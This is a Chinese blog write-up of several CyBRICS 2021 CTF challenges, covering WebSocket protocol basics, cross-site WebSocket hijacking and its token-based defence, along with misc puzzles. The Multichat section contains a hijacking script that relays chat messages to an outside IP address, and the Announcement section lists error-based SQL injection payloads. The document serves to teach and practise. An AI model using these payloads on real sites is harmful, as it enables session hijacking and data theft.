cybrics

WEB

Multichat

​ 题目考的是webscoket有关的漏洞,也属于是知识盲区了…

关于websocket

基本知识

websocket用的是ws://和 wss://,那么 WebSocket 和 HTTP 是什么关系呢。WebSocket 是 HTML5 推出的新协议,跟 HTTP 协议内容本身没有关系。WebSocket 是持久化的协议,而 HTTP 是非持久连接。WebSocket 提供了全双工沟通,俗称 Web 的 TCP 连接,但 TCP 通常处理字节流(跟消息无关),而 WebSocket 基于 TCP 实现了消息流。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手。

看一个请求报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET ws://echo.websocket.org/?encoding=text HTTP/1.1
Host: echo.websocket.org
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Origin: http://www.websocket.org
Sec-WebSocket-Version: 13
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) Chrome/49.0.2623.110
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6
Cookie: _gat=1; _ga=GA1.2.2904372.1459647651; JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

响应

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://www.websocket.org
Connection: Upgrade
Date: Sun, 03 Apr 2016 03:09:21 GMT
Sec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo=
Server: Kaazing Gateway
Upgrade: websocket

核心在Connection:Upgrade 和 Upgrade:websocket 两行。这两行相当于告诉服务器端:我要申请切换到 WebSocket 协议。

一旦服务器端返回 101 响应,即可完成 WebSocket 协议切换。服务器端即可以基于相同端口,将通信协议从 http://或 https://切换到 ws://或 wss://。

报文中也有和cookie类似的Sec-WebSocket-Key,这是一个散列key,经过了base64编码,服务器则会将一个 GUID 和这个客户端的随机数一起生成一个散列 Key 作为 Sec-WebSocket-Accept 返回给客户端。这个工作机制可以用来避免缓存代理(caching proxy),也可以用来避免请求重播(request replay)。

对于Access-Control-Allow-Headers,以“Sec-”开头的 Header 可以避免被浏览器脚本读取到,这样攻击者就不能利用 XMLHttpRequest 伪造 WebSocket 请求来执行跨协议攻击,因为 XMLHttpRequest 接口不允许设置 Sec-开头的 Header。

优点

支持双向通信,实时性更强。

更好的二进制支持。

较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。

支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)

跨站点 WebSocket 劫持漏洞原理

看了对于这个的介绍,感觉和CSRF确实有些像,但又有些根本上的区别,CSRF只是通过恶意网站或者其他方法伪造客户进行请求,不会导致信息泄漏问题,也不会窃听到整个消息通道和修改服务器数据。

什么是跨站点 WebSocket 劫持漏洞

看看上面的报文,可以发现Cookie 头部把域名下的 Cookie 都发送到服务器端。其实WebSocket协议并没有规定服务器在握手时应该如何确认客户端的身份,服务器可以采用任何 HTTP 服务器的客户端身份认证机制,譬如 cookie,HTTP 基础认证,TLS 身份认证等。看到这,都可以联想到CSRF来绕过身份认证获得握手,其实大致过程也和CSRF差不多。

因为 WebSocket 的客户端不仅仅局限于浏览器,因此 WebSocket 规范没有规范 Origin 必须相同(有兴趣的读者可以阅读规范 10.2 章节了解对于 Origin 的规范)。所有的浏览器都会发送 Origin 请求头,如果服务器端没有针对 Origin 头部进行验证可能会导致跨站点 WebSocket 劫持攻击。譬如,某个用户已经登录了应用程序,如果他被诱骗访问某个社交网站的恶意网页,恶意网页在某元素中植入一个 WebSocket 握手请求申请跟目标应用建立 WebSocket 连接。一旦打开该恶意网页,则自动发起如下请求。请注意,Origin 和 Sec-WebSocket-Key 都是由浏览器自动生成,Cookie 等身份认证参数也都是由浏览器自动上传到目标应用服务器端。如果服务器端疏于检查 Origin,该请求则会成功握手切换到 WebSocket 协议,恶意网页就可以成功绕过身份认证连接到 WebSocket 服务器,进而窃取到服务器端发来的信息,抑或发送伪造信息到服务器端篡改服务器端数据。

防御

WebSocket 令牌机制

以上看起来很美好,但是仅仅检查 Origin 远远不够,别忘记了,如果 WebSocket 的客户端不是浏览器,非浏览器的客户端发来的请求根本就没有 Origin。除此之外,我们要记得,恶意网页是可以伪造 Origin 头信息的。更彻底的解决方案还是要借鉴 CSRF 的解决方案-令牌机制。

鉴于篇幅原因,笔者就不详细贴出整个设计和代码,建议读者参照以下概要设计提高 WebSocket 应用的安全。

\1. 服务器端为每个 WebSocket 客户端生成唯一的一次性 Token;

\2. 客户端将 Token 作为 WebSocket 连接 URL 的参数(譬如 ws://echo.websocket.org/?token=randomOneTimeToken),发送到服务器端进行 WebSocket 握手连接;

\3. 服务器端验证 Token 是否正确,一旦正确则将这个 Token 标示为废弃不再重用,同时确认 WebSocket 握手连接成功;如果 Token 验证失败或者身份认证失败,则返回 403 错误。

这个方案里的 Token 设计是关键,笔者推荐的方案是为登录用户生成一个 Secure Random 存储在 Session 中,然后利用对称加密(譬如 AES GCM)加密这个 Secure Random 值作为令牌,将加密后的令牌发送给客户端用来进行连接。这样每个 Session 有一个唯一的随机数,每个随机数可以通过对称加密生成若干份一次性令牌。用户即便通过不同终端通过 WebSocket 连接到服务器,服务器可以在保障令牌唯一且一次性使用的前提下,依然能将不同通道中的信息关联到同一用户中。

可能存在另外一个设计思路,在 WebSocket 消息中增加令牌和身份信息,但笔者觉得这样的设计有悖于 WebSocket 的设计思想,而且增加了不必要的网络负载。抛砖引玉,欢迎读者提供更好的设计方案。

参考

https://blog.csdn.net/hsany330/article/details/49823495?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base

https://blog.csdn.net/cuixiping/article/details/70048611

题解

进入就是一个聊天框,也比较符合WebSocket正常的功能。F12先看一眼,看到了一串javascript脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
var conn;
var sended_message = "";

function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min) + min); //The maximum is exclusive and the minimum is inclusive
}
function appendLog(item) {
var escaped = $("<div>").text(item).html();
if (item === sended_message) {
log.innerHTML += '<div class="chat-message-right pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3"><div class="font-weight-bold mb-1">You</div>' +
escaped + '</div></div>';
sended_message = "";
} else {
log.innerHTML += '<div class="chat-message-left pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">' +
escaped + '</div></div>';
}
log.scrollTop = log.scrollHeight;
}
function connect() {
let room = document.getElementById("room").value;
document.cookie = 'room=' + encodeURIComponent(room);
$("form input").prop( "disabled", false );
$("#room").hide();
$("#room").parent().children().first().text("Room " + room);

$("#connectButton").hide();

if (window["WebSocket"]) {
conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onclose = function (evt) {
var item = "";
if (evt.code === 1003) {
item = `Status: ${evt.reason}`;
} else {
item = "Connection closed.";
}
appendLog(item);
};
conn.onopen = function (evt) {
appendLog("Connected");
};
conn.onmessage = function (evt) {
appendLog(evt.data);
};
} else {
appendLog("Your browser does not support WebSockets.");
}
}
window.onload = function () {
var room = getRandomInt(1000, 9999999999);
var msg = document.getElementById("msg");
var log = document.getElementById("log");

document.getElementById("form").onsubmit = function () {
if (!conn) {
return false;
}
if (!msg.value) {
return false;
}
conn.send(msg.value);
sended_message = msg.value;
msg.value = "";
return false;
};

document.getElementById("room").value = room;
};

大致过程就是 先生成了一个随机数当作房间号,然后实现了消息接收发送在前端的显示,然后实现了WebSocket连接来接受和发送消息。看题目意思最开始还觉得要找到秘密的房间号,但看到随机生成的范围就不太可能了。后面有大佬出了,看了下exp才知道咋做了。

因为题目还给了一个电话的按钮,可以访问url并且可以发送问题,按题目描述应该就是通过这个电话来伪造技术支持发送Hey, i forgot the flag. Can you remind me?来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script>
function appendLog(msg){
document.write(`<img src=http://39.107.239.30:80/a=${escape(msg)}></img>`);
//还可以const logger = (a) => {
// fetch(`http://39.107.239.30:80/?q=${encodeURI(a)}`);
// };
}
ws = new WebSocket ( "ws://multichat-cybrics2021.ctf.su/ws");
ws.onclose = function(evt){
var item = "";
if (evt.code == 1003){
item = `status: ${evt.reason}`;
}
else {
item = "Connection closed.";
}
appendLog(item);
};
ws.onopen = function (evt){
appendLog ("Connected");
ws.send( "Hey, i forgot the flag. Can you remind me?");
};
ws.onmessage = function (evt) {
appendLog(evt.data)
};
</script>

然后在自己vps上挂上exp,用电话访问即可。

在这里插入图片描述

现在感觉对于一些漏洞的学习,还是得注重理解原理而不是仅仅把题做出来,回头再看CSRF得漏洞等,发现以前对它得理解还是太浅了,结合WebSocket现在感觉理解更深了,对于用户身份得伪造是一个核心问题,任何漏洞都有着核心的利用思想,这个思想也可以用到其他得地方,应该多注重这些思想得积累,以后在看到某些协议或者可利用漏洞时,应注重思考这些漏洞的思想在哪,融会贯通才是最重要的。

今天再接着看看强网杯hardxss的预期解。

adnetwork

1337个重定向,直接脚本request一下就行,当时浏览器运气好都跑出来了。也就只会做这个题了。

Announcemen

报错注入,抓包发现还要对email进行md5基本语句如下:

1
2
3
4
5
6
7
#select group_concat(table_name) from information_schema.tables where
table_schema='announcement'

#select group_concat(column_name) from information_schema.columns where
table_name='logs'

#"' or updatexml(1,concat(0x7e,(select group_concat(log) from logs)),0) or'"

MISC

感觉misc也挺好玩的,没怎么了解misc,暑假趁着学学misc

Scanner

前面几张图可以盲猜,到最后一张是一张二维码,需要分帧gif拼图,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image

im = Image.open('640.gif')
# p = []
# for i in range(9,88,3):
# p.append(i)
flag = Image.new('RGB',(1080, 1080), "#FFFFFF")
p = [9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72, 75, 78, 81, 84, 87]
c = 0
for i in p:
demo = 'demo/' + '640-' + str(i) + '.png'
frame = Image.open(demo)
box = (0, 496, 1080, 517)
re = frame.crop(box)
flag.paste(re,(0,c*21))
c+=1
flag.show()

Image模块参考https://www.cnblogs.com/tomyyyyy/p/11122814.html#:~:text=Image%E6%A8%A1%E5%9D%97%E6%98%AF%E5%9C%A8Python,PIL%E5%9B%BE%E5%83%8F%E5%A4%84%E7%90%86%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E6%A8%A1%E5%9D%97%EF%BC%8C%E5%AF%B9%E5%9B%BE%E5%83%8F%E8%BF%9B%E8%A1%8C%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C%E7%9A%84%E5%8A%9F%E8%83%BD%E5%9F%BA%E6%9C%AC%E9%83%BD%E5%8C%85%E5%90%AB%E4%BA%8E%E6%AD%A4%E6%A8%A1%E5%9D%97%E5%86%85%E3%80%82

CAPTCHA The Flag

stegsolve打开左右调通道

在这里插入图片描述

慢慢试25次。

Recording

看了wp,要用到MacroRecorder工具,做misc还是得搜索引擎用的好呀,百度还是不太行。可以查到mrf文件格式大致是一个画图用的,鼠标宏类似的,中间还整的有虚拟键盘,打印出来了一个网址,输进去要密码,但事件最后给了密码,输进去就出了。思路是这样,关键还是得找到那个工具,

Namecheck

这题社工题了,看看wp就行了。。

ASCII Terminal

LX-100

打开流量,先看看常规的协议HTTP啥的

在这里插入图片描述

谷歌可以查到是Lumix GX80 摄像头,其视频流通过udp传输。把udp追踪流dump下来(原始数据)直接保存为mjpegVLC media player就能播放。

或者可以写脚本,原始数据有很多图片FFD8开头,将每张图提取出来。

localhost

Future Tech


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!